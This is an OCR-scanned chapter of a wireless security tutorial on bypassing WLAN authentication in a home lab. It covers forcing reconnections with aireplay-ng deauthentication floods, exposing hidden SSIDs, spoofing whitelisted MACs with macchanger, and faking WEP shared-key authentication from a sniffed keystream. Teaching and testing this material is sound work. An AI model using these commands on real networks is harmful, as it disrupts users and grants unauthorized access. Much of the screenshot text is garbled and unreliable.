BAGS 2345.685156 66: fb:42:d5;e4:01 D-Link _d2:;de:25 TEEE 


 Frane 54065 (369 bytes on wire, 369 bytes captured) 
t Radiotap Header vO, Length 32 
t TEEE 892.11 Probe Response, Flags: 
* TEEE 802.11 wireless LAN management frame 
& Fixed parameters (12 bytes} 
* Tagged paraneters (237 bytes) 
* SSID parameter set: "Wireless Lap" 
Tag Number: @ (S510 parameter set) 
Tag length: 12 
Tag interpretation: 
b Supported Rates: 1.8(68) 2.0(8) S3.5(B) 11-9(B) 
0S Parameter set: Current Channel: 11 
’ ERP Information: no Non-ERP STAs, do not use@ protection, 
b Extended Supported Hates: 6.9 9.0 14.0 18.8 24.0 
B 
b 
& 


Wireless Lab 





short 


Vendor Specitic: we 

Vendor Specific: HT Capabilities (802.11n 1.16) 

Vendor Specific: HT Additional Capabllities (862. 11n 01.009) 
BORT Cananilities (RS. 11nm M1. 1 
64 60 21 24 Go Gc Be 
Bee 91 04 82 B4 Bb 96 





G3 G1 Gb Za gl G8 a2 oe 
Oc 12 16 24 50 48 60 6c dd 15 96 58 fe G2 681 61 
S070 GR BO OS ad 80 GA SF a4 OR BE a? 49 Se GA AS aD 
Interpretation of tag telan_rovgt.tag.... | Packets: 70250 Displayed: 217 Marked: 0 


obpanae 





Le 


RAG F GMA S 
=| #& Expression... ry Clear off tooly 


a a a a (2 a | 


B 


Bo Probe Flequest , SNHZ055, PNG, Plege=...0.008 C, Solb="Wireless Lab" 

Boe Probe Respomse, Shee], FNeo, Flagse........ C, Bleloed, Soibs"wireless Lf 
Bos Authentication, SNe2bhe6, Feb, Flags=........ C 

Bo? Huthentication, SNezied, Feb, Flaggm........ C 

Bo? Association Request, SWe2067, FNed, Flags=........ C, S5]0e"wWireless Lab 


BG? Association Response, 
BOS Probe Request, SN=2068, FNe, Flage-. 
BO2 Probe Response, SNe2969, FN-@, Flags= 
Bos G05 Null function (No data}, 


or long preanbles 


46.0 48.8 54.0 
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SN-2966, FN=0, Flags= 


SN=0, FN= 


C, S810-"Wireléess Lab" 
C, BI=108, SS1D="wireless L 
.P...TE 


®, Flags-.. 

















[Profile: Gafault 


Bypassing WLAN Authentication 


5. Alternately, you can use the aireplay-ng utility to send deauthentication packets 
to all stations on behalf of the Wireless Lab access point by typing aireplay-ng 
-0 5 -a <mac> --ignore-negative mono, where <macs is the MAC address 
of the router. The - 0 option is used to choose a deauthentication attack, and 5 is the 
number of deauthentication packets to send. Finally, -a specifies the MAC address 
of the access point you are targeting: 





root@kali: ~ 


File Edit Wiew Search Terminal Help 
'~# aireplay-ng -0 5 -a E8:94:F6:62:1E:8E --ignore-negative-one mond 
19:38:16 Waiting for beacon frame (BSSID: E8:94:F6:62:1E:8E) on channel -1 
NB: this attack is more effective when targeting 
a connected wireless client [-c <client's mac=). 
°38:16 seams to broadcast BSSID: [E8:94:F6: 
"38:1? ending aon elael-le[er-|-a BSSID: [E8:94:F6: 
‘38:14 nding to broadcast BSSID: [E8:94:F6: 
9:38:17 Sending aon elael-leler-|-a0 BSSID: [E8:94:F6: 
"38:18 Jalennale to broadcast BSSID: [E8:94:F6: 


ib @ 


Pe ES F I 





De 
De. 
De 
De. 
De 


oD oD 





6. The preceding deauthentication packets will force all legitimate clients to disconnect 
and reconnect. It would be a good idea to add a filter for deauthentication packets 
to view them in an isolated way: 


e monk: Capturing «- Wireshark — 
Ble Eda ‘Yiew Go Capture Analee Statisties Help 


aeaea Mm@xe2evceonit ee 2A Qahe @MBsa EB 


fw" | gitar wlan. te. type_ subtype HE onde : _ ap Exprescion.. &y Glear ed!” Apply 














a0 SSS : = eae ee ee 7 


D. Link ee Broadcast TEEE 862 Deauthentication, SN=0, FN=th, Flags=........ 
i, Link d2:8e:25 sets IEEE 802 Desuthentication, SN=1, FNe®, Flags=........ 
D-Link d2:8e:25 Broadcast TEEE 86027 Deauthentication, SN=1, FN=0, Flags=........ 
D-Link _d2:8e:25 Broadcast [EEE 802 Desuthentication, SN=2, FNef, Flags=........ 
D-Link d2:6e:25 Broadcast TEEE 8027 Deauthentication, SN=2, FN=0, Flags=........ 
D-Link d2:8e:25 Broadcast [EEE 802 Desuthentication, SN=3, FNef, Flags=........ 
D-Link da: 8e:25 Broadcast TEEE 862 Deauthentication, SN=3, FN=th, Flags=........ 
255 15.717156 D-Link d2:8e@:25 Broadcast IEEE 882 Deauthentication, SN=4, Flea, Flagse........ = 
fi 





b Frame 230 (38 bytes on wire, 38 bytes captured) 
b Radiotap Header vO, Length 12 
7 [EEE Boy .11 Deauthentication, Flage: ........ 
Type/Subtype: BDeauthentication (Oméc } 
b Prame Control: OxG8CO (Normal) 
Duration: 314 
Destination address: Broadcast (ff: ff: tf: ff: ff: ff) 


Source address: O-Link d2:Be:25 (00:21: 91:02:8e:25) 


BS5 Id: D-Link d2:Be:25 (G8: 21:91-:d2:8e:25) 
Fragment mumsber; © 
Sequence number: © 


b TEEE 802.11 wireless LAN management frame 





BAO OO BO Gc O8 bd BO OO Be 87 O68 1B 80 €6 G8 Sa 81 Se ee eae = 


BA1O Tf TP TE Te Tf FP BO Fl OG] a Be 25 OB 21 Ol de ae eas. aoe. er 


ws 
wid 


Be 275 80 G8 OY OO 











, | Pack ate: 1525 Displayed: 417 Marked: 0 d Profile: Default 


mond: «live capture in prograss> Fi. 
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7. The probe responses from the access point will end up revealing its hidden SSID. 
These packets will show up on Wireshark as shown next. Once the legitimate clients 
connect back, we can see the hidden SSID using the probe request and probe 
response frames. You can use the filter (wlan.bssid == 00:21:91:d2:8e:25) && 
!(wlan.fc.type_subtype == 0x08) to monitor all non-Beacon packets to and fro from 
the access point. The && sign stands for the logical AND operator and the ! sign 
stands for the logical NOT operator: 


(Uirrkithed | = Witrmcs hark — oe 


Bu 8 0 6 F ax sé YeooFs Es QAR FMM S 


eee ee ee 


24419. 1517138 OU-Link d2:8e@:25 BE: Th:42:do:e4:o] IEEE Bi? Prebe oie SNesa545, F=8 Lacs -, BL=108, S&lb="Wireless Lab” 
225 19. 25588 66: fo:d2:da:04:01 D-Link _ it: Sesto IEEE 802 Autihent Leat ian SNe?114, PH=8, C 

sol 19.25/083 ob fbiddidaia4d:@1 D-Link _d2ige:2o IEEE 8iZ Authentication, sheZll4, FRE, 

afta 1g.2o9009 D-Link_dzige:2s SO; foidi:daie4: EEE 802 Authentication, sh=so48, FR=8, 

595 19.3919156 66: fbide:d5:e4:61 D-Link_d:8e:25 EEE 802 Assoclation Request, SN=2115, C, 3 $$ Lab" 
S38 19.91606886 O-Link_dz:8e:25 6G: ford diied so EEE OY Assoclation Response, sNe3549, 

562 19.3641352 66: fbide:d5:e4:61 D-Link _d2:8e:25 EEE 802 Probe Request, SWe2116, FNe 

5643 18.365887 66: fbid2:d5:@4:61 D-Link _o:8e:25 EEE 802 Probe Request, SNe2116, FN a, Plane C, S81 De"wWireless Lab" 

565 19.367679 O-Link_d2:e:25 6G: fb:42:0d5:e4:01 TEBE 802 Probe Response, SNeS551, FNeG, Flags=........0, Bl@lOG, 351 De"Wireless Lab* 


Frame 544 (359 bytes on wire, 359 bytes captured) 
+ Radiotap Header vG, Length 32 
* TEEE 807.11 Probe Aesponse, Flags: .... Rens 
7 IEEE 807,11 wireless LAN management frame 
& Fixed parameters (12 bytes) 
= Tagged parancters (2o/ bytes} 
7 S510 parameter set: “wireless Lah" 
Tag Number: & (SSID parameter set} 
Tag length: lz 
Tag interpretation: Wireless Lab 
Supported Rates: 1,808) 2.918) 5.5{B)} 11.a(B% 
0S Parameter set: Current Channel: 11 
ERP Infearmation: mo Non-ERP STAs, de mot use pratectian, shart or long preambles 
Cxtended Supported Bates; 6.0 9.0 12.0 16,0 24.0 36.0 40,90 34.0 
Vendor Specific: Wee 
Vendor Specifie: Hl Capabilities (8G2.11n 1.18) 
64 60 21 24 OG Ge ge ee ee a.!.. . aii 
6] B4 82 B4 Bb GE 84 Bl Gb Ya 81] Go a? GE ee 
12 16 24 36 49 60 6e dd 16 06 5a f2 G2 81 1 
Of AO OS af GO GH SY ad A BG) ay 44 §e Ge AY ae 
Sr of tag belan_migt.tag.... J Packets: 945 Displayed: 61 Marked: 0 Dropped: 0 Profle: Daetauk 





What just happened? 


Even though the SSID is hidden and not broadcasted, whenever a legitimate client tries 
to connect to the access point, they exchange probe request and probe response packets. 
These packets contain the SSID of the access point. As these packets are not encrypted, 
they can be very easily sniffed from the air and the SSID can be found. 


We will cover using probe requests for other purposes such as tracking in a later chapter. 


In many cases, all clients may be already connected to the access point and there may be 
no probe request/response packets available in the Wireshark trace. Here, we can forcibly 
disconnect the clients from the access point by sending forged deauthentication packets 
on the air. These packets will force the clients to reconnect back to the access point, thus 
revealing the SSID. 
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Have a go hero — selecting deauthentication 


In the previous exercise, we sent broadcast deauthentication packets to force reconnection 
of all wireless clients. Try to verify how you can selectively target individual clients using the 
aireplay-ng utility. 


It is important to note that, even though we are illustrating many of these concepts using 
Wireshark, it is possible to orchestrate these attacks with other tools, such as the aircrack- 
ng suite as well. We encourage you to explore the entire aircrack-NG suite of tools and other 
documentation located on their website at http: //www. aircrack-ng.org. 


MAC filters are an age-old technique used for authentication and authorization and have 
their roots in the wired world. Unfortunately, they fail miserably in the wireless world. 


The basic idea is to authenticate based on the MAC address of the client. The MAC filter is 
an identification code assigned to a network interface; a router will be able to check this 
code and compare it to a list of approved MACs. This list of allowed MAC addresses will be 
maintained by the network administrator and will be fed into the access point. We will now 
take a look at how easy it is to bypass MAC filters. 


Time for action — beating MAC filters 


Let's follow the instructions to get started: 





1. Let's first configure our access point to use MAC filtering and then add the client 
MAC address of the victim laptop. The settings pages on my router looks as follows: 


TP-LINK 


Status 

Quick Setup 
WPS 

Network 

Wireless 

- Wireless Settings 


Wireless MAC Filtering: Enabled Disable 


- Wireless Security Filtering Rules 


® Deny the stations specified by any enabled entries in the list to access. 
- Wireless Advanced 
- Wireless Statistics 
DHCP 


Allow the stations specified by any enabled entries in the list to access. 


. ID MAC Address Status Description Modify 
Forwarding 


Security 

Parental Control 

Access Control Add New... Enable All Disable All Delete All 
Advanced Routing 


1 AA-AA-AA-AA-AA-AA Enabled test Modify Delete 
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2. Once MAC filtering is enabled, only the allowed MAC address will be able to 
successfully authenticate with the access point. If we try to connect to the access 
point from a machine with a non-whitelisted MAC address, the connection will fail. 


3. Behind the scenes, the access point is sending Authentication failure messages to 
the client. The packet trace resembles the following: 


mono: Capturing - Wireshark 


i) 
tT 
x 


File Edit View Go Capture Analyze Statistics Help 


BeAAe sBaAxeecices FZ Q2QM BRB #E 


MW) Eilter: (wlan. bssid == 00:21:91:d2:8e:25) && i(wlan.fe | dp Expression... & Clear ol) Apply 


Yo 4 ~-I71L142Z24 OW. TD.4 ~Ogo e470 LJ- k Ué.Ge. ow U0 








v U 0 YO Odatay, =7U, =U, ags: 
1300 45.971213 60:fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 802 QoS Null function (No data), SN=71, FN=0, Flags: 
1304 46.094441 60:fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 802 QoS Null function (No data), SN=72, FN=0, Flags: 
1305 46.096647 60:fb:42:d5:e4:01 D-Link_d2:8e:25 IEEE 802 QoS Null function (No data), SN=73, FN=0, Flags: 
1390 60.769076 D-Link_d2:8e:25 Alfa_3e:bd:93 IEEE 802 Probe Response, SN=955, FN=0, Flags=........ Cc, | 
1404 62.623052 D-Link d2:8e:25 Alfa 3e:bd:93 802 Authentication, SN=974, FN=0, Flags= 

1406 62.617436 Alfa _3e:bd:93 D-Link_d2:8e:25 IEEE 802 Authentication, SN=11, FN=0, Flags=........ 

141M AP? RAIAAGR N-l ink AP-Ra+75 Alfa Ra-hd-a2 TFFF RA? Aiithanticatian SN=Q7R FN=A Flanc= c uly 





> Frame 1404 (66 bytes on wire, 66 bytes captured) 
b Radiotap Header vO, Length 32 
Wee (sled, iil | Uhelaeaneskesiewein, (FIlsrbES sodoacec & 
vy IEEE 802.11 wireless LAN management frame 
v Fixed parameters (6 bytes) 
Authentication Algorithm: Open System (0) 
Authentication SEQ: 0x0002 


Status code: Unspecified failure (0x0001) 








UO Yl a2 se ey Pe eee eee [4] 
0030 O00 21 91 d2 Be 25 e0 3c 00 00 O02 00 GRR af 47 ee ....AB.G 
0040 9a 79 -y 
Lz] 
Status of requested event (wlan_m... | Packets: 22464 Displayed: 608 Marked: 0 :{ Profile: Default 
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4. \norder to beat MAC filters, we can use airodump-ng to find the MAC addresses 
of clients connected to the access point. We can do this by issuing the airodump- 
ng -c 11 -a --bssid <mac> monO command. By specifying the bssid 
command, we will only monitor the access point, which is of interest to us. The -c 
11 command sets the channel to 11 where the access point is. The -a command 
ensures that, in the client section of the airodump-NG output, only clients 
associated and connected to an access point are shown. This will show us all the 
client MAC addresses associated with the access point: 


]{[ Elapsed: 1 min ][ 2014-11-08 16:41 


PWR Beacons #Data, ENC CIPHER AUTH ESSID 


:F6:62:1E:8E WEP WEP OPN Wireless Lab 

:6D:2A:/7B:CO 28 WPA2 CCMP PSK everythingwilLprobablynotb 
:BQ0:62:6D:08 - WPA TKIP PSK Upstairs 

°D3:59:9C:BE_ - WPA2 CCMP PSK BTHub3-R9Q5 

>3B:7C:D0:8D - WPA2 CCMP PSK Downstairs 


STATION Lost Frames Probe 


E8:94:F6:62:1E:8E 4C:0F:6E:70:BD:CB~ - 54 4} 
E8:94:F6:62:1E:8E 00:EE:BD:B3:62:DE 43 Wireless Lab 
Galehaer-|-}-1elene-ha-lep) °1F:02:8F:34:D5 ll 
9C :D3:6D:2A:7B:CO :10:7A:45:36: e- le 13 
00 :22:B0:62:6D:08 : - Q - 9 





5. Once we find a whitelisted client's MAC address, we can spoof the MAC address 
of the client using the macchanger utility, which ships with BackTrack. You can use 
the macchanger -m <mac> wlan0 command to get this done. The MAC address 
you specify with the -m command option is the new spoofed MAC address for the 
wlano interface: 


root@kali: ~ 


View Search Terminal Help 


(~# ifconfig wlan down 


-~# macchanger -m GO:EE:BD:83:62:DE wlang 


Permanent MAC: 86 '34:d5 (Edimax Technology Co. 
Current MAC: B0:1T:02:8fT:34:d5 (Edimax Technology Co. 
New MAC: °64:ide funknown) 

-~# ifconfig wlan@ up 





6. Asyou can clearly see, we are now able to connect to the access point after spoofing 
the MAC address of a whitelisted client. 
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What just happened? 


We monitored the air using airodump-ng and found the MAC address of legitimate clients 
connected to the wireless network. We then used the macchanger utility to change our 
wireless card's MAC address to match the client's. This fooled the access point into believing 
that we were the legitimate client, and it allowed us access to its wireless network. 


You are encouraged to explore the different options of the airodump-NG utility by going 
through the documentation on their website at http: //www. aircrack-ng.org/doku. 
php? id=airodump-ng. 


The term Open Authentication is almost a misnomer, as it actually provides no 
authentication at all. When an access point is configured to use Open Authentication, 
it will successfully authenticate all clients that connect to it. 


We will now do an exercise to authenticate and connect to an access point using 
Open Authentication. 


Time for action — bypassing Open Authentication 


Let's now take a look at how to bypass Open Authentication: 





1. Wewill first set our lab access point Wireless Lab to use Open Authentication. 
On my access point, this is simply done by setting Security Mode to Disable Security: 


TP-LINK 


Status 
Ok Se 
WPS 

Network a Sl 
Wireless 


Wireless Settings 


* Disable Security 


WPA/WPA2 - Personal(Recommended) 


- Wireless MAC Filtering Version: WPA2-PSK ’ 


- Wireless Advanced 
- Wireless Statistics Wireless Password: 88455808 


(You can enter ASCII characters between 8 and 63 or Hexadecimal characters 
between 8 and 64.) 


Encryption: AES v 


DHCP 


ee Group Key Update Period: 0 Seconds 

semty (Keep it default if you are not sure, minimum is 30, 0 means no update) 
Parental Control 

Access Control 

Advanced Routing 

Bandwadth Control 

IP & MAC Binding 


WPA/WPA2 - Enterprise 
Version: Automatic 
Encryption: Automatic 
Radius Server IP: 


Dynamic DNS Radius Port: (1-65535, 0 stands for default port 1812) 


System Tools Radius Password: 
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2. Wethen connect to this access point using the iwconfig wlanO essid 
Wireless Lab command and verify that the connection has succeeded 
and that we are connected to the access point. 


3. Note that we did not have to supply any username/password/passphrase to 
get through Open Authentication. 


What just happened? 


This is probably the simplest exercise so far. As you saw, there is no barrier to connecting 
to an Open Authentication network and connecting to the access point. 


Shared Key Authentication 


Shared Key Authentication uses a shared secret such as the WEP key to authenticate the 
client. The exact exchange of information is illustrated in the following screenshot (taken 
from www.netgear.com): 


: } Client Access 
Sa = Point 





— 


1) Authentication Request 








The wireless client sends an authentication request to the access point, which responds 
back with a challenge. The client now needs to encrypt this challenge with the shared key 
and send it back to the access point, which decrypts this to check whether it can recover the 
original challenge text. If it succeeds, the client successfully authenticates; if not, it sends an 
authentication failed message. 
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The security problem here is that an attacker passively listening to this entire communication 
by sniffing the air has access to both the plain text challenge and the encrypted challenge. He 
can apply the XOR operation to retrieve the keystream. This keystream can be used to encrypt 
any future challenge sent by the access point without needing to know the actual key. 


The most common form of shared authentication is known as WEP or Wired Equivalent 
Protocol. It is easy to break, and numerous tools have been created over time to facilitate 
the cracking of WEP networks. 


In this exercise, we will learn how to sniff the air to retrieve the challenge and the encrypted 
challenge, retrieve the keystream, and use it to authenticate to the access point without 
needing the shared key. 


Time for action — bypassing Shared Authentication 


Bypassing Shared Authentication is a bit more challenging than the previous exercises, so 
follow the steps carefully: 





1. Let's first set up Shared Authentication for our Wireless Lab network. | have done 
this on my access point by setting the security mode as WEP and Authentication as 
Shared Key: 


TP-LINK 


Status WPA/WPA2 - Personal(Recommended) 

Quick Setup Version: WPA2-PSK v 

WPS Encryption: AES v 

Network Wireless Password: 88455808 

Wireless (You can enter ASCII characters between 8 and 63 or Hexadecimal characters between 8 and 64.) 
- Wireless Settings Group Key Update Period: 0 Seconds 


(Keep it default if you are not sure, minimum is 30, 0 means no update) 
- Wireless MAC Filtering 


- Wireless Advanced 
- Wireless Statistics 
DHCP 

Forwarding 
Security 

Parental Control 
Access Control 
Advanced Routing 
Bandwidth Control 
IP & MAC Binding 
Dynamic DNS 


System Tools 


WPA/WPA2 - Enterprise 
Version: 
Encryption: 
Radius Server IP: 
Radius Port: 
Radius Password: 
Group Key Update Period: 
WEP 
Type: 
WEP Key Format: 
Key Selected 
Key 1: «@ 
Key 2: 
Key 3: 
Key 4: 


Automatic 


Automatic 


(1-65535, 0 stands for default port 1812) 


(in second, minimum is 30, 0 means no update) 


Automatic v 
Hexadecimal ¥ 
WEP Key Key Type 
abcdefabcdefabcdefabcdef12| 128bit v 
Disabled ¥ 
Disabled ¥ 
Disabled ¥ 











We do not recommend using the WEP encryotion if this device operates in 802.11n mode due to the fact that WEP is not supported by 
802.11n specification. 
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2. Let's now connect a legitimate client to this network using the shared key we have 
set in step 1. 


3.  Inorder to bypass Shared Key Authentication, we will first start sniffing packets 
between the access point and its clients. However, we would also like to log the 
entire shared authentication exchange. To do this, we use the airodump-ng 
utility using the airodump-ng monO -c 11 --bssid <mac> -w keystream 
command. The -w option, which is new here, requests Airodump-NG to store the 
packets in a file whose name is prefixed with the word keystream. Incidentally, it 
might be a good idea to store different sessions of packet captures in different files. 
This allows you to analyze them long after the trace has been collected: 


3 ][ Elapsed: 0 s ][ 2014-11-08 16:54 ][ fixed channel mon@: -1 


PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH E 
BO:1F:02:8F:34:D5 Q 106 32 w : a2°5 WEP WEP W 


STATION PWR Rate Lost Frames Probe 








4, \Necan either wait for a legitimate client to connect to the access point or force 
a reconnect using the deauthentication technique used previously. Once a client 
connects and the shared key authentication succeeds, airodump-ng will capture 
this exchange automatically by sniffing the air. An indication that the capture has 
succeeded is when the AUTH column reads WEP. 


5. Thecaptured keystream is stored in a file prefixed with the words keystream file 
in the current directory. In my case, the name of the file is keystream-01-00-21- 
91=D2=-8E=25 -xor. 


6. Inorder to fake a shared key authentication, we will use the aireplay-ng tool. 
We runthe aireplay-ng -1 0 -e "Wireless Lab" -y keystream- 
01-00-21-91-D2-8E-25.xor -a <mac> -h AA:AA:AA:AA:AA:AA mono 
command. This aireplay-ng command uses the keystream we retrieved in 
step 5 and tries to authenticate with the access point with SSID Wireless Lab and 
MAC address 00:21:91:D2:8E:25, and uses an arbitrary client MAC address 
AA:AA:AA:AA:AA:AA. Fire up Wireshark and sniff all packets of interest by 
applying awlan.addr == AA:AA:AA:AA:AA: Aa filter. We can verify this using 
Wireshark. You should see a trace on the Wireshark screen, as shown in the 
following screenshot: 


7. 








File drt 


BeBe e Soke ae 


fi) ther: | twlan.adde == aa: aa:aa:aalaa: aa) 


(Uirvtrtied) - Wires hark 


View Go Capture Anaiere Statistics Help 


.esvFi ES 
| ae Expression...| oy Clear off Apply 


oe c =) 


—h, 





B59 2Z8.476433 aa:aa! aa! aa: aa: aa D-Link_d2:8e:25 IEEE 
561 28.485326 OD-Link_d2:8e:25 aa laa! aalaa!aalaa IEEE 
S62 28.476454 aaladiaaiaaiaaiaa D-Link _d2:8e:25 IEEE 
563 28.487057 O-Link_d2:5e:25 30°08 ° 08/08/88: 88 IEEE 
564 28.488037 O0-Link_d2:8e:25 Aa:aa:aa aa aa aa IEEE 
565 28.490002 OD-Link_d2:8e:25 aa iaa!aa laa! aasaa IEEE 
566 28.492169 O0-Link_d2:8a:25 daidaidaidaiaaiaa IEEE 
567 28.493060 O0-Link_d2:5e:25 30:08:08 / 08/88/88 IEEE 
S68 28.495134 O0-Link_d2:8e:25 Ba:aa aa: aa aa aa IEEE 
569 28.497262 OD-Link_d2:8e:25 aa iaa!aaiaa!aalaa IEEE 
570 28.498987 O-Link_d2:8a:25 aa:aa:4a:4a:5a/58 IEEE 
571 28.501014 O-Link_d2:5e:25 40:88:08 / 08/88/88 IEEE 
Bf2 28.502062 O0-Link_d2:8e:25 Ba:aa: aa aa aa aa IEEE 


' Frama 611 (70 bytes on wire, 70 bytes captured) 
' Radiotap Header vO, Length lz 


' TEEE 802.11 Association Request, Flags: 


* IEEE 802.11 wireless LAN management frame 
7 Fixed parameters (4 bytes) 
t Capability Information: 6x6431 
Listen Interval: Ox6064 
* Tagged parameters (30 bytes) 
vy S510 parameter set: “Wireless Lab" 
Tag Number: @ (55ID parameter set) 


File: “FompyethereekOid" 550 kK... 


60 66 Gc 66 G4 66 GO 66 G2 66 18 66 06 66 3a G1 
OO 21 91 d2 Be 25 aa aa 
be 25 60 00 31 04 64 00 GO Ge SY 69 72 65 Ge 65 


Packets: 2696 Displayed: 105 Marked: 0 Cropped: 0 


aa aa aa aa OO 21 91 d2 ere ee 


= an 


wile 


802 Authentication, 
862 Authentication, 
B62 Authentication, 
B62 Authentication, 
802 Authentication, 
862 Authentication, 
862 Authentication, 
BO? Authentication, 
802 Authentication, 
802 Authentication, 
802 Authentication, 
B62 Authentication, 
802 Authentication, 


FF 
Ay 


SH=0, FN=0, Flags= 
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SNe2950, Fie, Flagse... 


SN=0, FN=0, Flags= 


SN=2950, FN=0, Flags=... 


SNH=2950, FN=0, 
SN=2950. FN=O, 
SN=2950, FN=0, 
SN=2950, FN=0, 
SNH=2950, FN=0, 
SN=2950, FN=O, 
SH=2950, FN=t, 
SN=2950, FN=0, 
SNH=2950, FN=0, 





Prohle: Gefauk 


Flags=... 
Flags=... 
Flags=... 
Flags=... 
Flags=... 
Flags=... 
Flags=... 
Flags=... 
Flags=.... 


o) 





The first packet is the authentication request sent by the aireplay-ng tool to the 


access point: 


559 28.476433 
561 28, 495326 





File: fumnprethenoonkoahd" S50 W.. 


@aiaa:aaiaa:aa:aa 
D-Link _d2:848:25 


019 OO 21 91 d2 Se 25 aa aa 
O29 Se 2500 00 9100 01 600 OO 00 





(Unththed) - Wlreshark 


Bile Edit ‘vinw Go Capture <Amale Statistics Help 
Paoaheea ext 


fi] Fiker:|(wlan.addr == sacaataaraa:aaraa) 


‘D-Link_d2:8e 





|] Packets: 2696 Casplayed: 105 Marked: 0 Orepped: 0 


dd iaaiddiddidda:dd 


aa ag aa aa 00 21 91 d2 a teaa 


re 


000 00 00 Oc G6 04 60 00 60 «O02 00 18 OO bo 00 3a 01 
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.+¢o0 FF OPS AQQF BUEeIS 
| db Expression... & Clear ad! Apply 


Profile: Gefauk 


IEEE 802 Authentication, 5N=0, FN=0, Flags=..... 
IEEE 802 Authentication, SN=2950, FN=0, Flags=... 
eee 
> Frame 559 (42 bytes on wire, 42 bytes captured) 
* Radiotap Header vO, Length 12 
& TEEE 802,11 Authentication, Flags: 
~ TEEE 802.11 wireless LAN management frame 
* Fixed parameters (6 bytes) 
Authentication Algorithm: Shared key (1) 
Authentication SEQ: 6x0001 
Status code: SuccessTul (Ox0000) 
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8. Thesecond packet consists of the access point sending the client challenge text, 
as shown in the following screenshot: 


(Untitled) - Wireshark 
Ble Edt Yew Go Capture Analyte Statatcs Help 
BeAtee SBUXsenee2eFFZ OR AQRHUABYe F 


(Wi siter:[(wlan.addr == aa:aa:aa:aa:aa:aa) j | + Expression... & Clear] off Apply 


no [te ‘Sou oestnaten [Protocol [wo 


IEEE 862 Authentication, SN=0, FN=0, Flags=...... 
IEEE 802 Authentication, SN=2950, FN=0, Flags=.. 


559 28.476433 aa:aa:aa:iaa:aa:aa D-Link_d2;8e;25 
561 28.485326 D-Link d2:8e:25 a@a:aa:aa:aa:aa:aa 





> Frame 561 (196 bytes on wire, 196 bytes captured) 
> Radiotap Header v0, Length 32 
* IEEE 802.11 Authentication, Flags: ........ Cc 
* IEEE 802.11 wireless LAN management frame 
~ Fixed parameters (6 bytes) 

Authentication Algorithm: Shared key (1) 

Authentication SEQ: 0x0002 

Status code: Successful (0x0000) 
~ Tagged parameters (130 bytes) 

~ Challenge text 
Tag Number: 16 (Challenge text) 


Tag length: 128 
Tag interpretation: Challenge text: F4E9EEB4487B55C7F776A13D5848404C6BB6A59CEADGSES6... 


(000 00 00 20 00 2f 48 00 00 lb 58 de 4401000000 .. ./H.. .X.M.... 


6016 16 62 9e 69 a0 G6 f7 G1 O06 OO OO OO GO OO GO GO... eee cevuuaes 
! 


0026 bO O00 40 Ol aa aa aa aa aa aa 00 21 91 d2 Be 25 .-@ 
File: *impsethenoookOale* $50 K.. JPackets 2896 Displayed: 105 Marked: 0 Dropped: 0 Profle: Defauk 





9. Inthe third packet, the tool sends the encrypted challenge to the access point: 


(Untied) - Wiraakork 
bie Bence i wa nlc la el tna 5S SSS SS 
Bee BAX aceswF eZ OR AAR @HBea 
fi’) Gher:[(wlan.addr om aetaa:entancansa) & |} Depression...| dh Clear| oa’ Apply 
fre. [we |scuce tetnaten SS fortcecl | 
| BBO 28. 833090 aa!aa!aaiaa! eats D-Link d2:8e:25 IEEE 802 Authentication, SN=3, FN=0, Flags=.p. a 
D-Link_d2:8e:25 A8:40/00:04:)00:08 TEEE 802 Authentication, SN=2955, FN=0, Flags=... 


| 591 28,839319 
SO ES a 


Frame 589 (181 bytes on wire, 181 bytes captured) 
/* Radiotap Header vi, Length 13 
* TEEE 802.11 Authentication, Flags: .p...... 


~ Data (136 bytes) 
Data: SAASSOF LACAAOZITECO4RESBTDESS9S6RSB4TE44AT20A4FDTED... 














Od 60 64 80 62 OO G2 60 01 00 G6 bO 40 3aMMM....... 
21 91 sd? Ge 25 aa aa aa an aa aa 00 21 49 DebeA erediate ls 


a0; He 25 30 009 G/ 92 Ge OO Sa a5 42 fl ac aa OL --6O,.g.n .£,8.... 
[frame |rarnel, LO) byted 7 Packets: 286 Crtplayed: 105 Marked: 0 Dropped: o Throfie: Oetauk 
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10. As the aireplay-ng tool used the derived keystream for encryption, the 
authentication succeeds and the access point sends a success message in 
the fourth packet: 


(Uinkithed) - Wires hare = & 





Ge Cde Yew OG Capture Arahyte Sratince pelp 


BeaAe FOxece .eevFs OR 2988 SUBe 


a 
=| 








[av Ber: | twlan.addr om =a aanaenTanet w]e pression... | clear aff apeity 


) D-Link d2:8e:25 aaiaa:aa:aa:aa:aa H=0, Flags=... 


















» Frame 591 (66 bytes on wire, 66 bytes captured) 

' Radiotap Header vO, Length 32 

* TEEE 802.11 Authentication, Flags: ........ c 

* TEEE 802.11 wireless LAN management frame 

~ Fixed parameters (6 bytes) 

Authentication Algorithm: Shared key (1) 
Authentication SEQ: GxG00d 
Status code: SuccessTul (Ox0000) 









00 00 60 20 60 2f 48 00 60 «39 cd el dd G1 66 OO OO ox 
10°=#«10 G2 9e 09 af OO Tl 01 00 00 00 OO OO OO OO OO cia vee eee 
20 bO 60 40 61 aa aa aa ae aa ae GO 21 91 d2 Be 25 a eee eee 1.2% 
“EmpytherccckOAke" 550K... [Packets: 2096 Displayed: 105 Marked: GCropped:0 | 










Ala: 





11. After the authentication succeeds, the tool fakes an association with the access 
point, which succeeds as well: 


(Untitled) - Wireshark —i i. 
fe Cet Yew fe Capture Anehte Dlatiicd Pele 


Bete SOxeca .eseFIL PRB 22a @UBSe & 












ra Fiter: |iwlan.sdde ot Sata ae wae) | 4} Expression...| J clear aff apply 

fre [we [one ———————<dioeninaten tach : 
604 28, 856307 D-Link d2:8e:25 aa ica aaliaaaaiaa IEEE 802 Authentication, SN=2955, FN=0, Flags=.. 
605 28.857311 O0-Link_d2:8a:25 aa: aa aa aa aalaa IEEE 802 ait ate SN=2955, FN=0, Flags=.. 











S554 158588! 88 5 aa D-Link d2:8e:25 IEEE 802 Association F 
D-Link_d2:8e:25 Sa!Aa!aa aa: aa! aa IEEE 802 Association Seances; SN=2958, FN=0,. Fle 


-O76796 








613 29.076009 aa aa aa aaiaa: ae D-Link_d2:8e;25 IEEE 802 Association Request, SN=6, FN=0, Flags=, 

616 29.102506 0-Link_d2:da:25 aa100 Sada aa a0 IEEE 802 Asseciation Rasponsea, SN=2958, FN=0, Fle 

617 25.104437 D-Link_d2:fe:25 aa: 00:00: 00:08: 08 IEEE 802 Association noaisasio SN=2958, FH=0, Fle 
eels ana he TE Se ee ee ee ee Teer THT bee eee er ee ee ee ee hi wre i res =n 





